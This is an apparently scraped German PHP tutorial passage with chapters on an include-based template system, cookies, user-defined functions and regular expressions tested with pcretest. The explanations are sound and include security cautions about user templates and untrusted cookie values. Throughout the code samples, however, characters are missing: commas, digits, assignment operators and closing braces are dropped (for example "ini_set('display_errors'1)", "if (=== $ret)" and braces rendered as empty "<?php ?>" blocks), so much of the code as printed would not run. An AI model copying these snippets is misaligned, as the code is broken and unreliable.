Im Internet gibt es genügend Templatesystem für PHP. Alle haben ihre Vor- Und Nachteile, bieten Features an die andere nicht haben, haben Sicherheitsaspekte die andere nicht implementiert haben und verwenden eine Syntax die die anderen nicht benutzen. In den meisten Fällen wird jedoch vergessen das PHP selbst bereits eine Templateengine ist. PHP wurde so entwickelt dass es zwischen HTML-Code verwendet werden kann, daher auch die PHP Start- und Endtags <?php und ?>. Deswegen verwenden wir hier PHP als Templatesystem indem wir unseren Programmcode entsprechend strukturieren und include-Anweisungen verwenden.

3. Eigenes Templatesystem schreiben

Mit include-Anweisungen können wir andere PHP-Dateien in das aktuelle Skript laden und ausführen. Diese Technik verwenden wir für unsere Templates. Die Template-Dateien laden wir dann mit so einer include-Anweisung. Daher können wir in den Template-Dateien PHP-Code verwenden um diverse Variablen ausgeben. Dies heißt aber auch dass wir keine User-Templates laden können bzw. sollten. Wenn wir nun ein System schreiben für ein großes Projekt und für die User eigene Templates anbieten so können sie zwar ganz normal die Variablen ausgeben, aber eben auch beliebigen PHP-Code wie z.B. shell_exec oder mail ausführen. Daher sollten nur die Webautoren Zugriff auf die Templates haben.

Unser Templatesystem wird von der Startdatei index.php verarbeitet. Wie bei allen Projekten wird das Error-Reporting hochgeschraubt und diverse Funktionen, Klassen und Variablen geladen.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);

include 
'functions.php';
include 
'classes.php';
include 
'variables.php';
?>

Nun benutzen wir die GET-Variable section für ein Array-Include. Dabei speichern wir in dem Array $dateien alle mögliche Dateinamen die durch ein include geladen werden können. Der Index eines Arrayelements gibt an bei welchem Wert von $_GET['section'] die Datei geladen wird.

<?php
// zum Beispiel in der variables.php angelegt
$dateien = array();
$dateien['news'] = 'news.php';
$dateien['forum'] = 'forum.php';
$dateien['downloads'] = 'dl.php';
// ...
?>

Mit isset und file_exists wird nun überprüft ob die entsprechenden Variablen, Arrayelemente und include-Dateien existieren, die dann auch mit include geladen wird.

<?php
$ret 
1// speichert den rückgabewert von include, standardwert 1
if (isset($_GET['section'], $dateien[$_GET['section']])) {
    if (
file_exists('includes/'.$dateien[$_GET['section']])) {
        
$ret = include 'includes/'.$dateien[$_GET['section']]; 
    } else {
        
$ret "Include-Datei konnte nicht geladen werden: 'includes/".$dateien[$_GET['section']]."'";
    }
} else {
    
// default bereich laden, news
    
$ret = include 'includes/'.$dateien['news'];
}
?>

Einmal sehen wir das hier eine Variable $ret verwendet wird. Sie enthält den Rückgabewert der include-Anweisung. Des Weiteren enthält es einige Abfragen ob bestimmte Arrayindizes oder Dateien existieren. Wenn dies nicht der Fall ist so wird der Standardbereich geladen, in diesem Fall ein Newsskript.

Für unsere Include-Dateien definieren wir nun wie der Rückgabewert aussehen muss. Im Normalfall soll die Include-Datei ein assoziatives Array zurückliefern. Das Element mit dem Index filename gibt dabei den Dateinamen vom Template an, was dieses Skript laden möchte. Das Element mit dem Index data ist ein Array und enthält die Daten die im Template verwendet werden können. Dort können dann z.B. die Newsbeiträge gespeichert werden (nur die Daten, keine HTML-Codes). Im Falle eines Fehlers kann die Include-Datei einen String zurückliefern. Dies wird dann als Fehlermeldung interpretiert und soll vom Templatesystem entsprechend ausgegeben werden. Und zum Schluss gibt es noch ein Fall dass die Include-Datei den Wert 1 zurückliefert. Bei so einem Wert wurde einfach vergessen ein Array oder ein String zurückzuliefern da im Skript keine return-Anweisung verwendet wurde. All diese Informationen schreiben wir am Besten mit einem Kommentar in das Skript.

<?php
$ret 
1// speichert den rückgabewert von include, standardwert 1
/*
 * Die Include-Datei muss eine return Anweisung enthalten mit folgenden
 * Werten:
 * - Bei normaler Ausführung
 *   Array('filename' => string, -- Dateiname vom Template
 *         'data' => Array())    -- Array mit Daten für das Template
 * - Bei einem Fehler
 *   string  -- Die Fehlermeldung die angezeigt werden soll.
 */
if (isset($_GET['section'], $dateien[$_GET['section']])) {
    
// ...
?>

Somit weiß man auch was eigentlich programmiert wurde und andere Entwickler können das System verstehen.

Nehmen wir an wir hätten nun solche Include-Dateien und müssen nun das richtige Template ausgeben. Dafür verwenden wir diverse If-Abfragen um den Inhalt der $ret Variable zu prüfen und die entsprechende Datei zu laden.

<?php
if (is_array($ret) and isset($ret['filename'], $ret['data']) and
        
is_string($ret['filename']) and
        
is_array($ret['data'])) {
    
// Gültiger return-Wert
    
if (file_exists($file 'templates/'.$ret['filename'])) {
        
$data $ret['data']; // speicher die Arraydaten in eine Variable $data
                              // die dann im Template verwendet werden kann.
        
include $file;
    } else {
        
// Datei existiert nicht, eine Fehlermeldung anzeigen.
        
$data = array();
        
$data['msg'] = 'Templatedatei "'.$file.'" ist nicht vorhanden.';
        include 
'templates/error.tpl';
    }
} else if (
is_string($ret)) {
    
// include-Datei lieferte eine String zurück, welches eine Fehlermeldung sein soll
    
$data = array();
    
$data['msg'] = $ret;
    include 
'templates/error.tpl';
} else if (
=== $ret) {
    
// return-Anweisung wurde vergessen
    
$data = array();
    
$data['msg'] = 'In der Include-Datei wurde die return Anweisung vergessen.';
    include 
'templates/error.tpl';
} else {
    
// überhaupt ein ungültiger return-Wert
    
$data = array();
    
$data['msg'] = 'Die Include-Datei hat einen ungültigen Wert zurückgeliefert.';
    include 
'templates/error.tpl';
}
?>

Je nach Rückgabewert wird eine entsprechende Templatedatei geladen. Im Normalfall wird die Templatedatei geladen die im Returnwert vom der Include-Datei angegeben wurde und im Fehlerfall wird, wie hier angegeben, die templates/error.tpl-Datei geladen. Da in einem Fehlerfall auch so eine Datei geladen werden kann wird diese nun mit dem folgendem Inhalt erstellt.

<?php
/* Daten:
 *  'msg' - Die Fehlermeldung
 */
?><p class="error">
    <?php echo htmlspecialchars($data['msg']); ?>
</p>

Die Datei enthält einen PHP-Kommentar der beschreibt welche Daten an die Templatedatei übergeben werden (mittels der Variable $data). In diesem Fall nur ein Feld msg die die Fehlermeldung enthält.

Nun schreiben wir unsere Beispiel Include-Datei. Da das Newsskript der Bereich ist der geladen wird wenn ein ungültige Bereich gewählt wurde schreiben wir nun diesen Bereich. Dieses Kapitel behandelt jedoch nicht wie ein Newsskript erstellt wird, daher benutzen wir Pseudo-Daten.

<?php
$a 
= array();
$a['filename'] = 'news.tpl';
$a['data'] = array();

// Newsdaten irgendwie aus einer Datenbank holen
if (false) {
    
// Falls ein Datenbankfehler auftrat, kann hier nur simuliert werden, deswegen if (false)
    
return "Es trat ein Fehler in der Datenbank auf: ...";
}

$news = array();

// Array mit Newsbeiträgen füllen (normalerweise aus der Datenbank)
$newsbeitrag = array();
$newsbeitrag['Titel'] = 'Neue Homepage';
$newsbeitrag['Datum'] = '2008-01-01 00:00:00';
$newsbeitrag['Inhalt'] = 'Pünktlich zum Neujahr starten wir mit einer neuen Homepage.';
$news[] = $newsbeitrag;

$a['data']['news'] = $news;

return 
$a// nicht Vergessen, sonst enthält $ret nur den Wert int(1)
?>

Zu beachten ist das hier je nach Situation ein String oder ein Array zurückgeliefert wird. Dies ist auch die Idee mit den unterschiedlichen Rückgabetypen. Bei einem Fehler kann einfach der Ausdruck return 'Fehlertext'; verwendet werden. Im anderen Fall wird das vorher definierte Array zurückgeliefert. Da dieses Skript eine Template-Datei news.tpl laden möchten erstellen wir nun eine solche Datei, die dann die Newsbeiträge anzeigt.

<?php
/*
 * Daten:
 * 'news' -- Array mit Newsbeiträgen mit folgendem Aufbau
 *           Array(
 *               'Titel', -- Der Titel der News
 *               'Datum', -- Erstelldatum
 *               'Inhalt' -- Inhalt der News
 *           )
 */ 
?>
<?php 
if (count($data['news'])) { ?>
    <?php foreach ($data['news'] as $beitrag) { ?>
    <h2><?php echo htmlspecialchars($beitrag['Titel']); ?></h2>
    <p class="beitrag">
        <span>Geschrieben am <?php echo htmlspecialchars($beitrag['Datum']); ?></span>:
        <?php echo htmlspecialchars($beitrag['Inhalt']); ?>
    </p>
    <?php ?>
<?php 
} else { ?>
<p class="info">
    Es sind keine News vorhanden
</p>
<?php ?>

Am Anfang sieht man wieder einen informellen Kommentar wie das $data-Array aufgebaut ist. Dann folgt das eigentliche Template. Wie man sieht wechselt man hier immer zwischen PHP- und HTML-Modus. Der PHP-Teil dient entsprechend nur dem Programmfluss und den Ausgeben der Variablen. Der HTML-Code bestimmt dann entsprechend die HTML-Struktur. Ein Template-Entwickler muss also nicht komplett PHP lernen, er muss nur Wissen dass er für die Ausgabe immer <?php echo ... ?> schreiben muss. Er sieht diesen Code dann als Platzhalter und so ersetzt auch PHP diese Platzhalter mit den Werten, in diesem Fall aus dem Array.

Neben den Bereich der angezeigt werden soll fehlt noch die komplette HTML-Struktur. Die wird genauso vor und nach dem Laden des Templates mit include geladen. Die komplette index.php sieht dann wie folgt aus.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);

include 
'functions.php';
include 
'classes.php';
include 
'variables.php';

$ret 1// speichert den rückgabewert von include, standardwert 1
// Laden der Include-Datei
/*
 * Die Include-Datei muss eine return Anweisung enthalten mit folgenden
 * Werten:
 * - Bei normaler Ausführung
 *   Array('filename' => string, -- Dateiname vom Template
 *         'data' => Array())    -- Array mit Daten für das Template
 * - Bei einem Fehler
 *   string  -- Die Fehlermeldung die angezeigt werden soll.
 */
if (isset($_GET['section'], $dateien[$_GET['section']])) {
    if (
file_exists('includes/'.$dateien[$_GET['section']])) {
        
$ret = include 'includes/'.$dateien[$_GET['section']]; 
    } else {
        
$ret "Include-Datei konnte nicht geladen werden: 'includes/".$dateien[$_GET['section']]."'";
    }
} else {
    
// default bereich laden, news
    
$ret = include 'includes/'.$dateien['news'];
}

// Laden des HTML-Kopfs
include 'templates/html_header.tpl';   // Doctype, <html>, <head>, <meta> kram
include 'templates/html_body_tag.tpl'// Analog auch einfach echo "<body>";
include 'templates/menu.tpl';          // falls man z.B. ein Menu haben möchte

// Laden der Template-Datei
if (is_array($ret) and isset($ret['filename'], $ret['data']) and
        
is_string($ret['filename']) and
        
is_array($ret['data'])) {
    
// Gültige Include-Datei
    
if (file_exists($file 'templates/'.$ret['filename'])) {
        
$data $ret['data']; // speicher die Arraydaten in eine Variable $data
                              // die dann im Template verwendet werden kann.
        
include $file;
    } else {
        
$data['msg'] = 'Templatedatei "'.$file.'" ist nicht vorhanden.';
        include 
'templates/error.tpl';
    }
} else if (
is_string($ret)) {
    
// Fehlermeldung
    
$data['msg'] = $ret;
    include 
'templates/error.tpl';
} else if (
=== $ret) {
    
// return wurde vergessen
    
$data['msg'] = 'In der Include-Datei wurde die return Anweisung vergessen.';
    include 
'templates/error.tpl';
} else {
    
// ein Ungültiger Return wert
    
$data['msg'] = 'Die Include-Datei hat einen ungültigen Wert zurückgeliefert.';
    include 
'templates/error.tpl';
}

// HTML footer laden
include 'templates/html_footer.tpl';  // Zeug wie </body> und </html>
?>

Nun fehlen die diversen HTML-Dateien, aber die können nach den eigenen Wünschen geschrieben werden. Wenn nun ein neuer Bereich hinzugefügt werden soll geht man wie folgt vor.

  1. Es wird eine Template-Datei angelegt. Sie enthält ganz oben einen Kommentar damit jeder weiß welche Variablen bzw. Werte in dieses Template übergeben wird. Anhand dieser Information kann dann das eigentliche Template geschrieben werden.

  2. Es wird eine Include-Datei angelegt. Diese erstellt dann ein Array für den Dateinamen und die Daten, füllt den Datenbereich und liefert dann entweder ein String für eine Fehlermeldung zurück (z.B. "Geben sie eine Emailadresse ein") oder das Array mit der die Template-Datei geladen werden soll.

  3. Das $section Array muss entsprechend erweitert werden dass nun auch die Include-Datei geladen werden kann.

4. Vor- und Nachteile dieses Templatesystems

Wie beschrieben kann dieses Templatesystem nicht für ungeprüfte Templatedaten wie Usertemplates verwendet werden. Die Sicherheit ist nicht gewährleistet dass die Benutzer auch nur das echo-Sprachkonstrukt verwenden. Vorteilhaft ist jedoch dass die Ausgabe etwas verzögert ist. Dies mag schlecht klingen jedoch ist es somit möglich ohne Probleme noch die Header-Angaben zu verändern, was mit den Funktionen session_start, header und setcookie entsprechend möglich ist.

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

Cookies

  1. Was sind Cookies
  2. Erzeugen von Cookies
  3. Auslesen von Cookies
  4. Löschen eines Cookies
  5. Gefahren von Außen

1. Was sind Cookies

Als Cookies werden Textzeilen bezeichnet die der Browser zusätzlich zu einer Anfrage an den Server schickt. Diese Textzeilen sehen dabei wie Zuweisungen aus, ein Beispiel wäre UserID=10. Hierbei spricht man davon dass der Cookie UserID den Wert 10 hat. Des Weiteren haben Cookies ein Haltbarkeitsdatum, welches angibt wie lange ein Cookie beim Client gespeichert werden soll. Wenn kein Zeitpunkt zum Löschen angegeben wurde wird ein Cookie automatisch beim Beenden des Browsers gelöscht.

Jeder Browser entscheidet selbst anhand seiner Einstellungen wie und wie lange Cookies gespeichert werden und ob. Das Verhalten kann entsprechend auch nicht von einem PHP-Skript verändert werden. Wenn ein PHP-Skript ein Cookie zum Client sendet ist nicht sichergestellt dass dieser den Cookie auch wirklich speichert. Erst beim nächsten Aufruf eines Skriptes (neuladen, link folgen, url eingeben, etc.) kann überprüft werden ob der Client/Browser den Cookie gespeichert hat oder nicht, nämlich ob er den Cookie den er gespeichert hat zum Server gesendet hat oder nicht.

2. Erzeugen von Cookies

Cookies werden in PHP mit der Funktion setcookie erzeugt. Diese Funktion ergänzt dabei die Header-Angaben. Dies bedeutet das Cookies nur dann gesendet werden können wenn vorher keine Ausgabe vorhanden ist, wie z.B. echo oder HTML-Code. Der erste Parameter ist der Name des Cookies, der zweite Parameter ist der Wert.

<?php
setcookie
("UserID""10");
?>

So ein Cookie bleibt so lange beim Client gespeichert bis der Browser geschlossen wird. Wenn ein Cookie länger gespeichert bleiben soll muss der Zeitpunkt des löschens explizit angegeben werden.

<?php
setcookie
("UserID""10"time()+60*60*24); // 1 Tag
setcookie("Foo""Bar"time()+60); // 1 Minute
?>

3. Auslesen von Cookies

Cookies die der Client zum Browser schickt werden im Array $_COOKIE gespeichert. Der Schlüssel ist der Name vom Cookie und der Wert des Arrayelements ist der Wert des Cookies. Aus der Cookie-Zeile UserID=5 wird somit $_COOKIE['UserID'] = '5'. Die Werte sind dabei entweder Strings oder Arrays.

<?php
// bei einem Cookie "Foo=Bar"
var_dump($_COOKIE['Foo']); // gibt string(3) "Bar" aus

// bei folgenden Cookies:
// "Bla[]=10"
// "Bla[]=x"
var_dump($_COOKIE['Bla']);
// Ausgabe ist:
// array(2) {
//   [0] =>
//   string(2) "10"
//   [1] =>
//   string(1) "x"
// }
?>

Cookies können nur ausgelesen werden wenn der Browser diese sendet. Dies bedeutet auch dass ein Cookie nicht direkt im Array $_COOKIE vorhanden ist, nachdem die setcookie-Funktion aufgerufen wurde.

<?php
setcookie
("Name""Wert");
echo 
$_COOKIE['Name']; // wird nicht klappen (es sei denn ein solcher Cookie wurde bereits vom Client gesendet)
?>

Ein setcookie-Aufruf sendet die Anforderung an dem Client ein Cookie zu speichern, daher kann das $_COOKIE-Array nicht direkt mit diesem Cookie gefüllt sein. Dafür müsste der Browser eine Zeitreise machen und seine Anfrage zum Server ändern damit auch dieser Cookie mitgesendet wird.

Um zu gucken ob überhaupt ein Cookie gesendet wurde kann die Funktion isset verwendet werden. Erst nach der Überprüfung sollte auf ein Cookiewert zugegriffen werden um Fehlermeldungen zu vermeiden.

4. Löschen eines Cookies

In PHP gibt es keine spezielle Funktion um ein Cookie zu löschen, daher wird für diesen Zweck auch die Funktion setcookie verwendet. Damit ein Cookie gelöscht wird setzt man das Haltbarkeitsdatum auf einen Punkt in der Vergangenheit. Sicherheitshalber sollte man den Wert selbst auf einen ungültigen Wert setzen, wie z.B. ein leerer String.

<?php
setcookie
("Name"""time()-60*60*24);
?>

5. Gefahren von Außen

Da Cookies beim Client gespeichert sind und somit außerhalb der Gewalt der PHP-Skripte liegen darf solchen Werten nicht vertraut werden. Ein Cookie login=1 sollte daher z.B. nicht reichen in ein gesichertes System zu kommen. Des Weiteren sollte nicht auf gültige Werte vertraut werden. Ein Wert der z.B. eine Zahl sein sollte muss auch darauf geprüft werden.

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

Funktionen

  1. Verwendung von Funktion
  2. Definieren von eigenen Funktionen
  3. Optionale Parameter
  4. Rückgabewert von Funktionen
  5. Dokumentation von eigenen Funktionen

1. Verwendung von Funktion

Neben Kontrollflußstrukturen und Variablen bestehen PHP-Skripte auch aus Funktionsaufrufen. Wenn gleicher Programmcode häufig ausgeführt wird wird dieser Programmcode in einer Funktion ausgelagert. Statt also jedesmal den gleichen Code zu haben ruft man an den entsprechenden Stellen nur noch die Funktion auf, die dann die eigentliche Arbeit verrichtet.

Das Verhalten einer Funktion wird durch deren Parameter beeinflusst. Eine Funktion kann beliebig viele Parameter besitzen, dies schließt keine Parameter genauso ein wie unendlich viele Parameter. Des Weiteren kann eine Funktion einen Wert zurückliefern. Dies ist auch die Standardverwendung einer Funktion, es werden Parameter übergeben und die Funktion liefert anhand dieser einen Wert zurück. Beispielsweise liefert die sin-Funktion den Sinuswert vom angegebenen Radian Wert zurück.

<?php
sin
(3.1415); // liefert float(9.26535896605E-5) zurück, also fast 0
?>

Diesen Wert sollte man entsprechend auch verwenden, entweder in einer Variablen speichern oder z.B. direkt ausgeben.

<?php
$var 
sin(3.1415);
echo 
sin(1.57079); // gibt 0.99999999998 aus
?>

2. Definieren von eigenen Funktionen

Früher oder später will man nicht nur die von PHP bereitgestellten Funktionen verwenden sonder auch eigene Funktionen definieren. Funktionsdefinitionen werden in PHP mit dem Schlüsselwort function eingeleitet.

<?php
function
?>

Danach folgt der eigentliche Name der Funktion. Der Name selbst unterliegt gängigen Regeln wie z.B. nicht mit Ziffern anfangen. Des Weiteren haben Funktionen die mit zwei Unterstrichen (__) anfangen besondere Funktionalität. Benutzen sie solche Funktionen nur wenn sie genau die Funktionalität wollen die im Handbuch beschrieben ist.

<?php
function meineFunktion
?>

Wie bei einem Funktionsaufruf folgt nun eine öffnende Klammer (. Nach der Klammer können nun Variablen für die Parameter angegeben werden. Mit der Anzahl der Variablen (mit Kommata getrennt) legt man somit die Anzahl der Parameter fest. Wenn man jedoch plant eine Funktion mit beliebig vielen Parametern zu definieren gibt man an dieser Stelle keine Parameter an sondern verwendet im Funktionsrumpf die Funktionen func_get_args, func_get_arg und func_num_args. Die Parameterliste wird danach mit der geschlossenen Klammer ) beendet.

<?php
function meineFunktion($param1$param2)
?>

Danach beginnt der Inhalt der Funktion mit einer geschweiften öffnenen Klammer {. Hier kann nun beliebiger PHP-Code stehen. Am Ende wird der Funktionsrumpf mit einer geschweiften schließenden Kammer } abgeschlossen.

<?php
function meineFunktion($param1$param2) {
    
// hier folgt nun
    // normaler php-code
}
?>

Nach typischen Programmierstil rückt man den Quellcode innerhalb der Funktion um 4 Leerzeichen ein. Somit ist erkennbar wo die Funktion beginnt (beim Schlüsselwort function) und wo sie endet (bei der schließenden Klammer }).

Innerhalb der Funktion können die Parametervariablen benutzt werden. Neben den Superglobalen Variablen sind sonst keine weiteren Variablen verfügbar. Hierbei spricht man auch vom Variable scope. Die Parametervariablen werden dann entsprechend mit den Werten beim Funktionsaufruf gefüllt. Wenn die Parameter beim Funktionsaufruf Variablen sind so werden deren Werte übergeben, jedoch nicht die Variable selbst. In erste Linie ist es somit nicht möglich Variablen zu verändern, die außerhalb der Funktion verwendet werden.

<?php
function meineFunktion() {
    echo 
$var;   // hilfe, wo ist $var definiert?
}
$var 'HTML-Code';
meineFunktion(); // wird nicht klappen, da in der Funktion nur Parametervariablen und
                 // superglobals vorhanden sind
?>

3. Optionale Parameter

In PHP ist es erlaubt Parameter zu definieren die man später bei einem Funktionsaufruf nicht benutzt. So ist es z.B. möglich eine Funktion mit nur einem Parameter aufzurufen obwohl die Funktion theoretisch 3 Parameter unterstützt. Um so eine Funktion zu definieren weist man den Parametern Standardwerte in der Parameterliste zu. Dies geschied indem man eine Zuweisung beim Parameter angibt. Wenn die Funktion mit einem Parameter aufgerufen wird wird dieser Wert für die Parametervariable benutzt. Wenn die Funktion ohne den Parameter aufgerufen wird so enthält die Parametervariable den angegebenen Standardwert.

<?php
function meineFunktion($x$test 'foobar') {
    echo 
'x hat den Wert: "'.$x.'" und test hat den Wert: "'.$test.'"'
}
meineFunktion(4'wort'); // gibt 4 und wort aus
meineFunktion(5);         // gibt 5 und foobar aus
meineFunktion();          // nicht möglich, da mindestens 1 Parameter erforderlich ist
meineFunktion(123);     // möglich, aber der dritte parameter geht verloren
?>

4. Rückgabewert von Funktionen

Obwohl man in Funktionen beliebigen PHP-Code verwenden, sowie auch echo, ist es für eine Funktion üblicher einen berechneten Wert zurückzuliefern. Dies wird in PHP mit dem Sprachkonstrukt return realisiert. Dort gibt man dann einen Wert oder eine Variable an, die man zurückgeben möchte.

<?php
function meineFunktion() {
    
mach_dies(); // wird noch ausgeführt
    
return 300;
    
mach_das();  // wird nicht ausgeführt, da die funktion verlassen/beendet wurde
}
echo 
meineFunktion(); // gibt 300 aus
?>

Mit return wird gleichzeitig die Funktion beendet. Dies kann an jeder Stelle geschehen, wenn dies Sinn ergibt. Bei der Berechnung des Sinus vom Wert 0 muss z.B. nicht groß gerechnet werden sondern dort kann mit einer Fallunterscheidung recht früh der Wert 0 zurückgeliefert werden.

Es ist auch möglich eine Funktion mit return zu beenden und dabei keinen Rückgabewert anzugeben. Dies ergibt natürlich nur dann Sinn wenn nicht erwartet wird das eine Funktion einen Rückgabewert hat.

<?php
function meineFunktion() {
    
// anderere code
    
return;
}
meineFunktion();        // klappt ohne probleme
$var meineFunktion(); // klappt auch, $var enthält dann den Wert NULL (ein spezieller Datentyp) 
?>

5. Dokumentation von eigenen Funktionen

Funktionen die von PHP bereitgestellt werden sind auf der offiziellen Homepage detailiert beschrieben. Bei eigens angelegten Funktionen fehlt entsprechend solch eine Dokumentation. Notfalls kann man über den Funktionsnamen die Funktionalität erraten. Bei komplizierteren Funkionen hofft man jedoch auf eine gute Dokumentation. Dazu eignen sie PHPDocs. Vor der eigentlichen Funktion fügt man ein PHPDoc-Kommentar, der die Funktion ausreichend beschreibt.

<?php
/**
 * Liefert eine Quadratzahl zurück.
 *
 * Dieser Funktion wird ein Parameter übergeben und liefert
 * die Quadratzahl von dieser Funktion zurück.
 *
 * @param x Der Wert von der man eine Quadratzahl haben möchte
 * @return Die Quadratzahl
 */
function quadrat($x) {
    return 
$x*$x;
}
?>

Der genaue Aufbau solcher PHPDoc-Kommentare liest man entsprechend auf der phpDocumentor Homepage.

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

Reguläre Ausdrücke

  1. Was ist ein Regulärer Ausdruck?
  2. Aufbau von einem Regex
  3. Finden von Strings
  4. Unterschiedliche Strings finden
  5. Erfassen von Teilergebnissen
  6. Zeichenklassen
  7. Vordefinierte Zeichenklassen
  8. Wiederholungen von Teilstrings
  9. Gierige Suchmuster
  10. Regex in PHP
  11. Die Welt der Regex

1. Was ist ein Regulärer Ausdruck?

Ein Regulärer Ausdruck (kurz Regex) ist ein String der angibt wie ein anderer String aussehen soll. Wenn ein String zu einem Regex passt spricht man auch von einem match, daher auch der Funktionsname von preg_match.

2. Aufbau von einem Regex

Unabhängig was ein Regex prüft haben alle Reguläre Ausdrücke der PCRE-Engine (die Engine die für die Regex-Auswertung zuständig ist) den selben Aufbau.

  1. Delimiter - Dieses erste Zeichen im String dient dazu den eigentlichen Regex von einer Liste globaler Modifikatoren (auch modifier genannt) zu trennen. So ein Zeichen ist nötig da alles in ein einzelnen String kodiert werden muss. Jedoch besteht ein PCRE-Regex Grundsätzlich aus eben den eigentlichen Regex und den modifiern. Daher gibt das erste Zeichen im String das Trennzeichen an. Üblicherweise werden Zeichen wie / oder ~ verwendet.

  2. Regex - In diesem Teil steckt die eigentliche Logik drin. Er beschreibt wie der zu prüfende String aussehen soll.

  3. Delimiter - Nun kommt der vorher gewählte Delimiter um die folgende modifier vom Regex zu trennen.

  4. Modifier - Dieser Teil beschreibt Modifikatoren für den ganzen Regex. Die Liste der Modifier kann dabei leer sein wenn keine benötigt werden.

Da in einem Regex oft das Zeichen \ verwendet wird, jedoch \ auch das PHP-Escapezeichen für Strings ist werden für Regex üblicherweise single-quoted-Strings verwendet.

3. Finden von Strings

Die einfachste Variante von einem Regex ist der leere Regex // (mit / als Delimiter). Er matched jeden String da eine leere Zeichenkette gesucht wird und überall eine leere Zeichenkette zu finden ist.

  re> //
data> foobar
 0:
data> 
 0:
data> eiovrjerv
 0:
data> 32 e4234234 324 2
 0:

Das Testprogramm pcretest dient dazu ein Regex zu testen. Hier wurde der Regex // eingegeben. Anhand von Beispieleingaben sieht man dass jeweils etwas gefunden wurde was eine Nummer 0 hat. Dieser Wert liefert immer den gefundenen Text zurück. Da nach einem leeren String gesucht wurde wurde auch stehts ein leerer String gefunden. In PHP können wir dann später auch auf das Ergebnis 0 zugreifen.

Als nächstes Beispiel suchen wir nun einen normalen String. Solange er keine Metazeichen enthält kann man den String den man suchen möchte als solches hinschreiben. Falls man doch Metazeichen hat werden sie wie in PHP mit \ escaped.

  re> /bla/
data> foobar
No match
data> blabli
 0: bla
data> BLABLI
No match
data> xyzblaBLI
 0: bla

Bei der zweiten Eingabe sieht man dass der gesuchte Text auch gefunden wurde. In der dritten Eingabe wurde der Text jedoch nicht gefunden da reguläre Ausdrücke casesensitiv sind und entsprechend Groß- und Kleinschreibung. Falls man möchte das ein regulärer Ausdruck caseinsensitiv arbeitet kann man den modifier i verwenden.

  re> /bla/i
data> foobar
No match
data> blabli
 0: bla
data> BLABLI
 0: BLA
data> xyzblaBLI
 0: bla

Nun wurde auch im dritten Teststring das Suchmuster gefunden.

4. Unterschiedliche Strings finden

Manchmal möchte man nicht nach einen Konkreten String suchen sondern nach einer Auswahl von mehrere Strings. Diese Strings werden in einem Regex mit dem |-Zeichen getrennt. Es können beliebig viele Strings mit | getrennt werden.

  re> /foo|bar/
data> blabarfoo
 0: bar
data> foobar
 0: foo
data> fobarfoarofboaoar
 0: bar
data> fobabfoaoofoa
No match
data> Foobar
 0: bar

Mit unserem Regex suchen wir nach einem String foo oder bar. Im ersten Beispiel wurde bar gefunden, obwohl beide Strings vorhanden sind. Der Regex sucht dabei von Vorne und findet entsprechend zuerst das bar. Im zweiten Beispiel ist es genau umgekehrt, da findet er das foo zuerst und im dritten Beispiel findet er das bar an der Stelle 3-5. Im vierten Beispiel ist keiner der beiden Strings vorhanden. Im fünften Beispiel findet er bar da wir nicht den i-modifier verwendet haben.

5. Erfassen von Teilergebnissen

Manchmal will man mit einem Regex nicht nach einem String suchen sondern nach mehreren Teilstring. Im Moment kriegen wir nur durch diese 0:-Angabe das Suchergebniss des ganzen Strings. Es ist jedoch möglich gleichzeitig neben den kompletten Suchergebnis auch Teilergebnisse abzufragen. Für jedes Teilergebnis welches man abfragen möchte verwendet man die Klammern ( und ). Dadurch entsteht ein neuer Eintrag in der Ergebnisliste.

  re> /News vom (Montag|Dienstag|Mittwoch|Donnerstag|Freitag|Samstag|Sonntag)/
data> <p>News vom Montag<br />Am gestrigen Sonntag ist ein Sack Reis umgefallen</p>
 0: News vom Montag
 1: Montag
data> <p class="news Dienstag">News vom Freitag<br />Wieder ein Sack umgefallen.</p>
 0: News vom Freitag
 1: Freitag
data> Weder am Mittwoch noch am Donnerstag ist was passiert
No match

Hier wird erstmal allgemein nach dem Text News vom $WOCHENTAG gesucht. Jedoch wird hier der Wochentag selbst noch abgefragt. Im ersten Fall finden wir somit den Text News vom Montag als Ergebnis 0 und darin speziell den Montag als Ergebnis 1. Im zweiten Beispiel finden wir den Newsheader mit Freitag obwohl vorher der String Dienstag vorhanden ist. Den haben wir jedoch nicht gesucht, gesucht haben wir nach News vom $WOCHENTAG. Dies wird im dritten Beispiel deutlich wo wir zwar die Wochentage finden aber nicht nach unserem gesuchten News vom $WOCHENTAG-Aufbau.

6. Zeichenklassen

Wenn man z.B. nach den Ziffern 0, 2, 4, 6 oder 8 sucht würde man ggf. den Regex /0|2|4|6|8/ verwenden. Dies kann vereinfacht werden wenn man eine Zeichenklasse verwendet. Dabei verwendet man die eckigen Klammern [ und ], die eine Zeichenklasse einleiten bzw. beenden. Innerhalb der Zeichenklasse schreibt man einfach die Zeichen rein die dazugehören sollen. Der Regex passt dann auf ein Zeichen in dieser Liste.

  re> /Es gab [23] Spiele heute/
data> Es gab 2 Spiele heute
 0: Es gab 2 Spiele heute
data> Es gab 5 Spiele heute
No match
data> Es gab 22 Spiele heute
No match

Im ersten Beispiel wird unser Teststring gefunden, im zweiten und dritten Beispiel jedoch nicht da weder die 5 in der Zeichenklasse ist, noch der String Es gab 22 Spiele heute irgendwie passt.

Anstatt jedes einzelne Zeichen aufzulisten können auch Bereiche mit einem Minuszeichen angegeben werden.

  re> /[0-5]/
data> Ich suche eine 4 im Text
 0: 4
data> ich suche nun eine 8
No match
data> und nun eine 99
No match
data> und zu letzt eine 49
 0: 4

Im letzten Beispiel sieht man das die 4 gefunden wurde und nicht die Zahl 49, da es sich bei [...] um Zeichenklassen handeln und nichts anderes. Somit wird man mit einem Regex /[0-255].[0-255].[0-255].[0-255]/ nicht nach IP-Adressen suchen können da die Zeichenklasse [0-255] nur auf die Zeichen 0, 1, 2 und 5 passt (die zweite 5 ist sogar überflüssig).

Für den Fall dass man das Minuszeichen in die Zeichenklasse aufnehmen will muss man es am Anfang oder Ende der Zeichenklasse plazieren damit es nicht als Bereich von Irgendwas interpretiert werden kann.

Wenn das erste Zeichen in der Zeichenklasse das ^-Zeichen wird die Zeichenklasse negiert, dann matched sie auf alle Zeichen die nicht in der Zeichenklasse stehen.

  re> /[0-5]/
data> Ich suche eine 4 im Text
 0: 4
  re> /[^0-5]/
data> nun suche ich eine 8
 0: n

Im zweiten Beispiel wird das n von nun gefunden, das es das erste Zeichen ist das keine Ziffer von 0 bis 5 ist.

